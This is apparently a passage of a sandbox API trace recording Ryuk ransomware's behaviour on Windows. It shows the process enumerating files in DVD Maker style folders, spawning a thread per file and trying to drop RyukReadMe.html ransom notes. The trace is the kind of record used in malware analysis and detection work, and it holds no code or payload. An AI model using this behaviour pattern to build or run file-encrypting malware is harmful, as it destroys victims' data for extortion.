	[0225.153] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa8c
	[0225.154] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.155] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a94088, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a94088, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x76, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1
	[0225.155] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.156] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa90
	[0225.157] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.157] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72aba1e5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72aba1e5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x239b, dwReserved0=0x76, dwReserved1=0x0, cFileName="mainimage-mask.png", cAlternateFileName="")) returned 1
	[0225.158] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.158] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa94
	[0225.159] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.160] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x559, dwReserved0=0x76, dwReserved1=0x0, cFileName="notes-static.png", cAlternateFileName="")) returned 1
	[0225.160] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.161] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa98
	[0225.162] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.163] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x76, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 1
	[0225.163] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.163] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa9c
	[0225.183] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.184] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x76, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 0
	[0225.185] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0225.185] SetLastError (dwErrCode=0x0) 
	[0225.185] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.185] GetLastError () returned 0x5
	[0225.186] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0225.186] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.186] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x62, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1
	[0225.186] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f4
	[0225.508] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.526] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x62, dwReserved1=0x0, cFileName="circleround_glass.png", cAlternateFileName="")) returned 1
	[0225.526] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaa0
	[0225.531] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.532] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x62, dwReserved1=0x0, cFileName="circleround_selectionsubpicture.png", cAlternateFileName="")) returned 1
	[0225.532] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.532] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaa4
	[0225.536] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.537] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebcc13a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebcc13a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x62, dwReserved1=0x0, cFileName="circleround_videoinset.png", cAlternateFileName="")) returned 1
	[0225.537] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.538] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaa8
	[0225.540] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.540] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x62, dwReserved1=0x0, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0225.540] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaac
	[0225.542] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.543] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e990cc7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e990cc7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="circle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0225.543] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.544] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab0
	[0225.545] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.546] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x62, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureA.png", cAlternateFileName="")) returned 1
	[0225.546] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.547] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab4
	[0225.548] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.548] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8f, dwReserved0=0x62, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureB.png", cAlternateFileName="")) returned 1
	[0225.549] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab8
	[0225.550] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.551] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x62, dwReserved1=0x0, cFileName="Circle_VideoInset.png", cAlternateFileName="")) returned 1
	[0225.551] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xabc
	[0225.554] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.554] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea030de, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea030de, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="cloud_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0225.555] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac0
	[0225.556] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.557] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5c9f, dwReserved0=0x62, dwReserved1=0x0, cFileName="Dot.png", cAlternateFileName="")) returned 1
	[0225.557] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.557] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac4
	[0225.559] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.560] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee799c4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee799c4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4cb30a29, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x422c, dwReserved0=0x62, dwReserved1=0x0, cFileName="DvdTransform.fx", cAlternateFileName="")) returned 1
	[0225.560] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.561] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac8
	[0225.563] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.563] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="FlipPage", cAlternateFileName="")) returned 1
	[0225.563] SetLastError (dwErrCode=0x0) 
	[0225.563] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.564] GetLastError () returned 0x5
	[0225.564] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0225.564] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.564] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0225.564] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0225.564] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0225.564] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.565] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xad0
	[0225.738] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.756] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe3ea46, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe3ea46, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x76, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1
	[0225.756] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xad4
	[0225.761] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.762] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fed6fba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fed6fba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0225.762] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xad8
	[0225.768] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.769] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0225.769] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xadc
	[0225.771] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.772] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0225.772] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae0
	[0225.774] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.775] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0225.775] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae4
	[0225.777] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
